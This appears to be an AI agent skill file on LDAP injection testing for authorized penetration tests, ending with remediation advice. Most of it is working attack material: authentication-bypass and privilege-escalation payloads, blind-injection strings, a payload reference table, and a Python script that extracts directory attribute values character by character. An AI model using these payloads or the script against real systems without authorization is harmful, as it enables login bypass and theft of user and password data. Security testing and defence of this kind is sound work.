| name | LDAP Injection Testing |
| description | This skill should be used when the user asks to "test for LDAP injection vulnerabilities", "exploit LDAP queries", "perform blind LDAP injection attacks", "bypass authentication using LDAP injection", "extract data from LDAP directories", or "assess LDAP-based application security". It provides comprehensive techniques for identifying and exploiting LDAP injection flaws in web applications. |
| version | 1.0.0 |
| tags | ldap, injection, authentication-bypass, blind-injection, directory-services, web-security |
LDAP Injection Testing
Purpose
Identify and exploit LDAP injection vulnerabilities in web applications that interact with LDAP directory services. LDAP injection attacks manipulate queries sent to LDAP servers, enabling authentication bypass, privilege escalation, and sensitive data extraction from corporate directories including Active Directory, OpenLDAP, and Novell eDirectory.
Prerequisites
Required Knowledge
- Understanding of LDAP protocol and directory structure
- Familiarity with LDAP filter syntax (RFC 4515)
- Web application testing fundamentals
- Knowledge of authentication mechanisms
Required Tools
- Web browser with developer tools
- Burp Suite or similar proxy
- Custom scripts for blind injection automation
- Access to test LDAP environment
Required Access
- Target web application URL
- Test user credentials (if available)
- Written authorization for testing
Outputs and Deliverables
- Vulnerability Assessment Report - Document all injection points and severity
- Proof of Concept Exploits - Working injection payloads for each vulnerability
- Data Extraction Results - Enumerated attributes, users, and directory structure
- Remediation Recommendations - Input validation and parameterized query guidance
Core Workflow
Phase 1: LDAP Filter Syntax Understanding
Master LDAP filter construction before testing:
# LDAP Filter Structure
Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
# Operators
= Equal
~= Approximate
>= Greater than or equal
<= Less than or equal
* Wildcard (one or more characters)
# Special Constants
(&) Absolute TRUE
(|) Absolute FALSE
Phase 2: Injection Point Detection
Test input fields for LDAP injection susceptibility:
# Basic injection test characters
*
*)
*))
)(
)(&
))(|
Observe application responses for:
- Error messages revealing LDAP syntax
- Unexpected data disclosure
- Authentication bypass indicators
- Application behavior changes
Phase 3: AND Injection Exploitation
Target applications using AND operator in queries:
Authentication Bypass:
# Original query structure
(&(USER=input)(PASSWORD=input))
# Injection payload (username field)
username: slisberger)(&))
password: anything
# Resulting query (first filter processed)
(&(USER=slisberger)(&))(PASSWORD=anything))
# Evaluates to TRUE - bypasses password check
Privilege Escalation:
# Original query for low-privilege documents
(&(directory=documents)(security_level=low))
# Injection payload
documents)(security_level=*))(&(directory=documents
# Resulting query
(&(directory=documents)(security_level=*))(&(directory=documents)(security_level=low))
# First filter returns ALL security levels
Phase 4: OR Injection Exploitation
Target applications using OR operator in queries:
Information Disclosure:
# Original resource query
(|(type=printer)(type=scanner))
# Injection payload
printer)(uid=*)
# Resulting query
(|(type=printer)(uid=*))(type=scanner))
# Returns all printers AND all user objects
Object Enumeration:
# Inject to enumerate different object classes
printer)(objectClass=person)
printer)(objectClass=computer)
printer)(objectClass=group)
Phase 5: Blind LDAP Injection
Extract data through TRUE/FALSE responses when errors are suppressed:
AND Blind Injection:
# Test if objectClass exists
*)(objectClass=users))(&(objectClass=void
# If icons/results appear = TRUE (class exists)
# If no results = FALSE (class doesn't exist)
# Enumerate object classes
*)(objectClass=person))(&(objectClass=void
*)(objectClass=computer))(&(objectClass=void
*)(objectClass=group))(&(objectClass=void
OR Blind Injection:
# Inverse logic for OR queries
void)(objectClass=users))(&(objectClass=void
# Results appear = TRUE
# No results = FALSE
Phase 6: Attribute Discovery
Enumerate available attributes through blind injection:
# Test for common attributes
*)(uid=*))(&(1=0
*)(cn=*))(&(1=0
*)(mail=*))(&(1=0
*)(telephoneNumber=*))(&(1=0
*)(department=*))(&(1=0
*)(userPassword=*))(&(1=0
# TRUE response indicates attribute exists
Phase 7: Booleanization Attack
Extract attribute values character by character:
# Determine if department starts with 'a'
*)(department=a*))(&(1=0
# FALSE - doesn't start with 'a'
# Try 'f'
*)(department=f*))(&(1=0
# TRUE - starts with 'f'
# Continue with second character
*)(department=fa*))(&(1=0
# FALSE
*)(department=fi*))(&(1=0
# TRUE - starts with 'fi'
# Continue until full value extracted: "finance"
Phase 8: Charset Reduction
Optimize extraction using binary search:
# Test if character is in range a-m
*)(department>=a)(department<=m*))(&(1=0
# If TRUE, narrow to a-g
# If FALSE, check n-z
# Continue binary search to identify exact character
# Reduces average attempts from 26 to ~5 per character
Quick Reference
Common Injection Payloads
| Context | Payload | Purpose |
|---|---|---|
| Auth Bypass | admin)(&)) |
Bypass password verification |
| Auth Bypass | `)(uid=))( | (uid=*` |
| Wildcard | * |
Match any value |
| Info Disclosure | value)(injected=*) |
Add additional filter |
| Privilege Escalation | *)(security=*))(&(1=0 |
Access restricted data |
| Blind TRUE | *)(objectClass=*))(&(objectClass=void |
Force TRUE response |
| Blind FALSE | void)(objectClass=void |
Force FALSE response |
LDAP Special Characters
| Character | Escape Sequence | Usage |
|---|---|---|
* |
\2a |
Wildcard |
( |
\28 |
Filter start |
) |
\29 |
Filter end |
\ |
\5c |
Escape character |
NUL |
\00 |
Null byte |
Common LDAP Attributes
uid - User ID
cn - Common Name
sn - Surname
mail - Email address
userPassword - Password hash
memberOf - Group membership
department - Department name
telephoneNumber - Phone
objectClass - Object type
distinguishedName - Full DN path
Detection Indicators
# Error messages suggesting LDAP
"LDAP error"
"Invalid DN syntax"
"Filter error"
"javax.naming.directory"
"ldap_search"
"Bad search filter"
Constraints and Limitations
Technical Limitations
- OpenLDAP ignores malformed trailing content
- ADAM (Active Directory) rejects queries with multiple filters
- Some frameworks validate filter syntax before execution
- Blind injection requires many requests for data extraction
Ethical Boundaries
- Only test with explicit written authorization
- Avoid modifying production directory data
- Do not access personal employee information beyond scope
- Report vulnerabilities through proper channels
Environmental Factors
- Web application framework may sanitize inputs
- WAF rules may block injection attempts
- Rate limiting can slow blind injection attacks
- Different LDAP implementations behave differently
Examples
Example 1: Login Bypass
Scenario: Test login form for LDAP injection
# Step 1: Identify normal login behavior
Username: testuser
Password: testpass
Result: "Invalid credentials"
# Step 2: Test for injection
Username: testuser)(|(password=*
Password: anything
Result: "Login successful" - VULNERABLE
# Step 3: Bypass specific user
Username: admin)(&))
Password: bypass
Result: Logged in as admin
Example 2: Blind Data Extraction
Scenario: Extract department value through blind injection
#!/usr/bin/env python3
import requests
url = "https://target.com/search"
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
extracted = ""
while True:
found = False
for char in charset:
payload = f"*)(department={extracted}{char}*))(&(1=0"
response = requests.get(url, params={"query": payload})
if "results found" in response.text: # TRUE indicator
extracted += char
found = True
print(f"Found: {extracted}")
break
if not found:
break
print(f"Extracted value: {extracted}")
Example 3: User Enumeration
Scenario: Enumerate valid usernames via blind injection
# Test if 'admin' user exists
*)(uid=admin))(&(1=0
# TRUE - user exists
# Test if 'root' user exists
*)(uid=root))(&(1=0
# FALSE - user doesn't exist
# Enumerate with common usernames
administrator, guest, service, backup, operator
Troubleshooting
Injection Not Working
Problem: Payloads don't affect application behavior
Solutions:
- Verify application uses LDAP backend (check for LDAP error messages)
- Test different injection contexts (AND vs OR)
- Try URL-encoded versions of special characters
- Check if input is being sanitized or escaped
- Test with simpler payloads first (
*,))
Blind Injection Inconsistent
Problem: TRUE/FALSE responses are unreliable
Solutions:
- Establish reliable baseline for TRUE and FALSE responses
- Account for timing variations (use response content, not time)
- Increase delay between requests to avoid rate limiting
- Verify the injection point is actually processed by LDAP
Authentication Bypass Fails
Problem: Cannot bypass login with injection
Solutions:
- Try different filter termination sequences
- Test both username and password fields
- Attempt null byte injection:
admin%00 - Check if multi-step authentication exists
- Verify the login uses LDAP (could be database-backed)
Data Extraction Incomplete
Problem: Booleanization returns partial data
Solutions:
- Expand character set (include uppercase, symbols)
- Check for multi-valued attributes
- Account for spaces and special characters in values
- Use wildcard at end to detect remaining characters
- Verify charset matches LDAP attribute encoding
Prevention Recommendations
For Developers
Use Parameterized Queries
// Use LDAP SDK with proper escaping String filter = Filter.createEqualityFilter("uid", userInput);Input Validation
# Whitelist allowed characters import re if not re.match(r'^[a-zA-Z0-9_-]+$', username): raise ValueError("Invalid username format")Escape Special Characters
def ldap_escape(value): escape_chars = {'\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\x00': '\\00'} for char, escape in escape_chars.items(): value = value.replace(char, escape) return valueImplement Least Privilege
- LDAP service accounts should have minimal permissions
- Restrict access to sensitive attributes
- Use read-only connections where possible